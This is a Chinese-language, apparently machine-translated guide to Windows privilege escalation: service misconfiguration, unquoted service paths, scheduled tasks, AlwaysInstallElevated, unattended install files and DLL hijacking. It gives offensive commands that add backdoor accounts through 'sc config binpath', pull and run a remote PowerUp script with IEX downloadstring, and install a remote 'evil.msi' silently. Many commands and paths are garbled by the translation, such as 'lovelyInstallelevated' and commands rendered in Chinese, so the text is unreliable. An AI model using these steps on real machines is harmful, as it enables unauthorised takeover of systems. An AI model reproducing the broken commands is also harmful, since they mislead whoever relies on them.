Windows 提权方式总结
1 前言
1.1 提权基础命令
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#查询系统信息
SystemInfo
#如果要查看特定信息,则可以使用
SystemInfo | findstr /b /c:'os名称' /c:'os版本'
#主机名
主机名
#环境变量
放
#查看用户信息
网络用户
#查看服务PID号码
任务清单/svc |查找“ termervice'
netstat -ano |查找'3389'
#检查系统名称
WMIC OS获得标题
#查看补丁信息
WMIC QFE获取描述,HotFixID,安装
#如果要找到特定的补丁,则可以使用以下命令
WMIC QFE获取描述,hotfixID,安装了| findstr /c:'kb4346084' /c:'kb4509094'
#查看当前安装程序
WMIC产品获取名称,版本
有必要注意环境变量,因为某些软件环境变量可以在其他路径中设置,并且此路径下的文件具有写入权限,因此您可以使用替换文件来实现特权升级操作。
1.2 Windows 权限划分
用户:普通用户权限,是系统中最安全的权限。分配给该组的默认权限不允许成员修改操作系统设置或用户配置文件。管理员:管理员权限,您可以使用Windows机制来将自己提升为系统权限,以操作SAM文件等。
系统:系统权限,可以读取敏感文件,例如SAM。它通常要求管理员的权限提高到系统许可以对哈希值执行转储操作。
TrustedInstaller:最高许可。对于系统文件,甚至无法修改系统权限。只有TrustedInstaller权限才能修改文件。
1.3 常见 webshell 所处的权限
通常的Webshell权限如下:ASP,PHP-匿名权限
ASPX-用户权限
JSP-通常系统权限
2 系统内核提权
这种升级方法是一种通过系统本身中的某些漏洞暴露的升级方法,尚未相应地修补。依靠可以升级权限及其补丁编号的EXP,将升级权限。检查:
1
2
3
4
5
SystemInfo
WMIC QFE获取标题,描述,hotfixid,installedon
#MSF
发布/Windows/chater/enum_patches
Windows-expoit-suggester
以下是协助促进权利的页面:
正在加载...
github.com
正在加载...
wiki.0-sec.org
正在加载...
github.com
正在加载...
blog.neargle.com
正在加载...
detect.secwx.com

3 配置不当提权
3.1 系统服务权限配置错误
Windows System Service文件在操作系统启动时已加载和执行,并调用可执行文件。因此,如果低私有的用户具有可执行文件的写入权限,则可以在系统服务启动时用任何可执行文件替换该文件并获得系统权限。但是,通常,Windows使用系统权限执行。因此,其文件夹,文件和注册表密钥值受到强大访问控制机制的保护,但是在某些情况下,某些服务仍未受到有效的保护。3.1.1 accesschk
下载地址:https://download.sysinternals.com/files/sysinternalssuite.zip使用Accesschk.exe工具查看当前用户可以修改的服务:
accesschk.exe -uwcqv'xxx' * /accepteula 1.txt //xxx是当前的用户名
如果出现service_all_access,则意味着当前用户有权修改服务

服务开始时查看权限
SC QC VMTools

然后将执行文件路径修改为我们要执行的命令
1
2
3
4
5
#请注意,这里应该有“=”之后的空间
sc config vmtools binpath='net用户test1 abc123! /添加'
#检查查询服务的执行路径是否已成功修改
SC QC VMTools
重新启动服务
1
2
SC停止VMTools
SC启动VMTools
但是请注意,从这里开始时将报告错误,因为在Windows系统上启动服务时,它必须与Service Control Manager进行通信。如果没有通信,服务控制管理器将考虑错误并终止该过程。但是,我们的命令已通过系统许可运行,并且已成功添加了用户。
信息
也可以使用系统自己的ICACL:
确认写入权限:ICACLS'C: \ Program Files \ Program Folder'

“ m”是指修改,” f表示完全控制
“ CI”是指从容器将继承访问控制项目
“ OI”表示从属文件将继承访问控制项目
常用命令:
1
2
3
4
5
6
ICACLS'C: \ Program Files \*'2NUL | findstr'(m)'|找到“每个人”
ICACLS'C: \ Program Files(X86)\*'2NUL | findstr'(m)'|找到“每个人”
ICACLS'C: \ Program Files \*'2NUL | findstr'(m)'|查找“内置\用户”
ICACLS'C: \ Program Files(X86)\*'2NUL | findstr'(m)'|查找“内置\用户”
3.1.2 PowerSploit
12
3
POWERSHELL.EXE -EXEC旁路-NOP -C'IEX(new -object net.webclient).downloadstring('3https://raw.githubusercontent.com/powershellempire/powershellempire/powertools/powertools/master/master/popureup/popureup/pocureup/pocureup.ps1');调用验证'
powershell.exe -exec旁路-command'{import -module d:/powerup.ps1; Invoke-Allchecks}'1.TXT
列出所有可能存在问题的服务:

ServiceName:可能具有漏洞的服务
路径:服务的可执行程序的路径
startname:服务运行帐户
滥用功能:如何使用它
根据滥用功能的利用方法执行脚本,在这里我们以Vgauthservice服务为例

使用密码123456添加一个名为用户的帐户:
1
powershell.exe -exec旁路-command'{import -module c:/powerup.ps1; indoke -serviceabuse -name'vgauthservice'vgauthservice' -username user -password 123456}'
3.1.3 metasploit
12
3
4
使用利用/Windows/local/service_permissions
设定积极进取的真实
设置会话1
开发
3.2 可信任服务路径提权
受信任的服务路径漏洞利用Windows文件路径分辨率功能。如果服务由服务调用的可执行文件无法正确处理引用的完整路径名,并且攻击者对文件路径具有写入权限,则攻击者可以将文件上传到劫持路径名。例如,在Windows系统启动服务时找到的文件路径为C: \ Program Files \ some folder \ services.exe。
对于路径中的每个空间,Windows尝试并执行与空间之前匹配名称的程序,因此Windows按以下顺序寻找启动程序:
c: \ program.exe
C: \ Program Files \ some.exe
C: \ Program Files \某些文件夹\ Services.exe
目前,如果我们对C: \ Path或C: \ Program Files具有写入权限,我们可以将program.exe.exe或some.exe程序上传到相应的目录。当服务重新启动时,我们上传的恶意程序将使用系统权限执行。
使用条件:
服务路径不使用双引号
服务路径包含空间
我们为某个中间文件夹写了权限
3.2.1 检查
1WMIC服务获取名称,显示名,PathName,StartMode | findstr /i'auto'| findstr /i /v'c: \ windows \'| findstr /i /v'''''

3.2.2 利用
接下来检查您是否已写入目标文件夹的权限,请使用内置的Windows工具ICACL检查每个级别的路径:1
2
3
ICACLS'C:'
ICACLS“ C: \ Program Files”
ICACLS'C: \ Program Files \ VMware'
检查每个级别的目录是否具有可写的权限,并最终找到C: \ Program Files \ VMware目录。在这个目录中,它是一个特洛伊木马。启动后,这是一个很高的许可。
3.3.3 msf 中的模块
exploit/windows/local/trusted_service_path模块3.3 计划任务提权
如果攻击者已将计划任务运行的目录书写权限,则他可以使用恶意程序来覆盖原始程序,以便下次执行计划的任务时,恶意程序将在很高的权限下运行。1
Get-ScheduledTask |选择* | ? {($。Taskath -notlike'\ Microsoft \ Windows \') - 和($。Anciptal.userid-notlike'$ enk:username*')} |格式- 桌子-property状态,操作,日期,任务路径,taskName, @{name='user'; expression={$_。Anciptal.userid}}}
检查目录的权限配置
1
accesschk64.exe -dqv'/path/to/dir'
如果攻击者对具有高级权威的计划任务的路径有可写的权限,则他可以使用恶意程序来覆盖原始程序。下次执行计划的任务时,恶意程序将以高度权威运行。
4 AlwaysInstallElevated 提权
注册表密钥始终列入策略设置项目。窗口允许低调的用户运行具有系统权限的MSI安装文件。如果启用了此策略设置项目,则任何有权限的用户都可以运行具有NT Authority \ System Permissions的恶意MSI文件。4.1 查询
查询:1
2
Reg查询HKCU \ Software \ Policies \ Microsoft \ Windows \ stermanter /v lovelyStallelevated
Reg查询HKLM \ Software \ policies \ Microsoft \ Windows \ installer /v lovelyStalleleved
不启用始终列入策略,结果是:“指定的注册表密钥或无法找到值””
4.2 开启
12
REG添加HKCU \ Software \ policies \ Microsoft \ Windows \ Windows \ installer /v lovelyInstallelevated /t reg_dword /d 1 1
REG添加HKLM \ Software \ policies \ Microsoft \ Windows \ Windows \ installer /v lovelyInstallelevated /t reg_dword /d 1 1
4.3 执行 MSI 文件
本地执行:MSIEXEC /Q /I C: \ msi.msi/i参数用于指示安装操作
/Q参数用于隐藏安装接口
此外,MSIEXEC还可以在没有降落文件的情况下实现Trojan在线方法。当然,不能使用低权限,因为MSI文件需要远程使用受信任的证书。始终安排特权:msiexec /q /i http://ip /evil.msi

4.4 利用
4.4.1 PowerUP 脚本
正在加载...
github.com
1
2
进口模块。\ powerup.ps1
Get-RegistryAlwaysAlteled
返回真实的意思。
4.4.2 MSI Wrapper 添加用户
MSI包装器下载地址:https://www.exemsi.com/download/将有效载荷设置为执行ProcessHacker:

运行时需要提高权限:

在MSI安装上下文下,选择每个用户和每台机器。
5 无人值守安装文件
一些Windows无人看管的安装文件包含用户的明文或基本64编码的密文1
dir /s *sysprep.inf *sysprep.xml *unattend.xml *unattend.txt 2nul
共同位置:
C: \ sysprep.inf
C: \ sysprep \ sysprep.xml
C: \ Windows \ System32 \ Sysprep.inf
C: \ Windows \ System32 \ sysprep \ sysprep.xml
C: \ Windows \ Panther \ unAntend \ undendended.xml
C: \ Windows \ Panther \ unatsend \ unatsend.xml
C: \ Windos \ System32 \ sysprep \ unattend.xml
C: \ Windows \ System32 \ Sysprep \ Panther \ unattend.xml
6 DLL 劫持提权
6.1 相关概念
6.1.1 DLL 简介
什么是劫持在正常发生之前执行旁路操作
动态链接库(动态链接图书馆,缩写DLL)。在Windows中,许多应用程序不是一个完整的可执行文件,而是将它们分为相对独立的动态链接库,即DLL文件,并将其放置在系统上。执行程序后,将调用相应的DLL文件。应用程序可以使用多个DLL文件,并且DLL文件也可以由不同的应用程序使用。这样的DLL文件称为共享DLL文件。

6.1.2 DLL 的加载顺序
Microsoft的DLL劫持分为三个阶段未保护阶段:Windows XP SP2之前
保护阶段:Windows XP SP2之后,Windows 7之前
进一步的保护阶段:Windows 7之后
Windows XP SP2之前
与该过程相对应的应用程序的目录;
加载DLL时位于位置的当前目录(setCurrentDirectory);
系统目录是System32目录(GetSystemDirectory);
16位系统目录是系统目录;
Windows目录:C: \ Windows(通过GetWindowsDirectory获取);
路径环境变量中的每个目录;
Windows XP SP2之后
为了防止发生DLL劫持漏洞的发生,Microsoft在XP SP2之后添加了SafeDllSearchMode注册表属性。注册表路径如下:
1
hkey_local_machine \ system \ currentControlset \ Control \ Control \ Session Manager \ SafeDllSearchMode
当SafeDllSearchMode的值设置为1时,也就是说,当打开安全dll的搜索模式时,搜索DLL的目录顺序如下:
应用程序所在的目录;
系统目录System32目录;
16位系统目录是系统目录。此项目仅用于远程兼容性,可以忽略
Windows目录。通常是C: \ Windows;
加载DLL的当前目录;
环境变量路径中的所有目录。应该注意的是,此处不包括App Paths注册表密钥指定的应用程序路径。
在Win7之后
为了进一步防止系统的DLL被劫持,Microsoft将一些易于劫持的系统DLL写入注册表密钥,即那么凡是此项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,并且只能从系统目录中调用System32 Directory。注册表路径如下:
1
hkey_local_machine \ system \ currentControlset \ Control \ Session Manager \ nowndlls
Windows操作系统确定DLL通过“ DLL路径搜索目录顺序”和“知道DLLS注册表密钥”的机制调用应用程序的路径。之后,应用程序将DLL加载到其自身的内存空间中,并执行相应的功能。
注册表路径:hkey_local_machine \ system \ currentcontrolset \ control \ session manager \ nowndlls
6.1.3 分析 DLL 的加载过程 - Process Monitor
流程监视器是用于显示实时文件系统,注册表和过程/线程活动的Windows的高级监视工具。正在加载...
docs.microsoft.com